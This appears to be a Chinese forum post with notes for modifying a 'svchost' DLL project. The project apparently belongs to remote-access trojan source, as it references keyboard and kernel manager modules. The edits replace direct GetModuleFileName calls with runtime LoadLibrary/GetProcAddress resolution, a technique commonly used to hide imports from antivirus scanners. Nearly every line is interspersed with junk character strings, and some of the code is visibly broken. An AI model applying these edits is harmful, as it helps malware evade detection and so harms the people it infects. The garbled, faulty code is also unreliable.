返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记' n$ Q0 w  S7 D$ e! L! k, n' z* \
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
/ D2 ~+ J" \+ ^# C: T% z----------------------------------------
" R$ R2 w. K. L& K# W* fDTDY.h:0 d. Y  ^3 b& [/ W
- s5 [5 J0 y: ^' t* m7 q/ `
#if _MSC_VER>1000
' ?+ V+ G. n- z1 b  o#pragma once
' c# A, r8 J. Z- e#endif //_MSC_VER>1000
8 T; _' n6 M7 f8 s, q#include<windows.h>
' M' r+ N7 w( O3 W% m) Y+ j
6 R& v/ Y1 S8 J8 Atypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);8 `' h' X6 k# [0 t- }; |
class DTDY$ n7 `1 @/ G$ S3 ^
{
" ?9 W* Q8 _( y+ Gpublic:' ?2 u% y6 D: {# b# ~" }* N- `
DTDY();0 I. b* M  r( O9 a
virtual ~DTDY();1 W: P4 Y+ E! m* B
public:+ t$ `# Y- \) J0 X
static pGetModuleFileNameA MyGetModuleFileName;. ?& f' d9 k6 m, b+ y
static BOOL FunInitiallization();( H. M  X& d' X8 K4 E
};# Z% _# J8 W: V7 ?" Y! [
#endif) R) t" s8 u5 M, Q
----------------------------------------
$ t& e& @. r6 m$ L+ I9 w- c5 F( s4 v# L  U7 D3 W- J* o
DTDY.cpp:9 a* f4 L. p. q. }
0 O7 R6 \! g; m( n4 D2 I
#include "DTDY.h"" O0 l5 \7 j: x. G/ A
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;1 T$ v, W' Q  Z0 D& K: t5 c3 Q* [
DTDY:TDY()$ R) ?8 S. m& O
{
' E/ s- L' t, F0 t# r; T! n4 r}
3 S7 D2 k% s  b# v6 i, U# YDTDY::~DTDY(). {1 t) z. J7 C0 ^- Z. V4 c
{
: d+ c. O) b& k' E; {* N2 O}; S' w6 S1 `$ n$ g7 W. e) t' j
BOOL DTDY::FunInitiallization()' q. Y0 M7 P$ w* N0 x5 G3 `
{  \* E5 N- }! Y) t2 |
HMODULE hModule=LoadLibrary("kernel32.dll");1 N) o4 _; p1 i" v
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");% h" X0 \( g* o& [+ \. ]
if(!MyGetModuleFileName=) return FALSE;6 Y9 ^. L* ]" u4 s
9 M) A7 c, O; L6 U8 ?  O
return TRUE;
& X; G3 |6 h" @}
9 |8 ]$ z0 g: E----------------------------------------
. Z0 \( M* b7 ?+ p( X; ]svchost.cpp:! R* H+ Y- `. i0 @0 F# q

  E% V* y) Q- J) p" C. l#include "DTDY.h"
+ M/ I% Q( W8 o0 o, f; F' C0 K7 {
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)7 ^8 P) s6 u. L( q
{! l1 L% S. T8 j! E
switch(ul_reason_for_call): c/ s- K! q( Q  Z% s
{# t  J" |" C% i2 |* q* m
case DLL_PROCESS_ATTACH:1 Q( ^: f9 Q$ v  b( g8 g
if(!DTDY::FunInitiallization()) return FALSE;
8 m" d$ l  G, l: E. L. ?/ P
' f, i3 j  F9 E; g9 Rbreak;
1 l; N2 `! A- k; b, g+ l: j}* l4 c& q0 ~( d' s) q  S4 V+ z
}7 ]4 y: g- y' T

3 H+ C) U0 y5 {8 O: s8 |8 ], c! m+ |% D# v. i  f
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 H1 L* H. Z$ C9 ~$ l' W) U改写为
  B( [  x; |; f9 B9 [' pDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));" m3 K# w! B5 ?6 g" {2 F8 a, w
----------------------------------------
* q9 A: a7 {( N% Q/ TKernelManager.cpp:6 z/ t; V( C9 ]' @* S! T. _% z) j

4 q. `0 l$ O" D% @, R" \$ j#include "../DTDY.h"
0 x. ^% G$ H( y8 w, IGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# z7 }& j6 B0 T: s2 n9 D
改写为+ t. @3 y# I4 O1 L3 H- [
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
" q4 L7 V; M, M1 U  i----------------------------------------

返回列表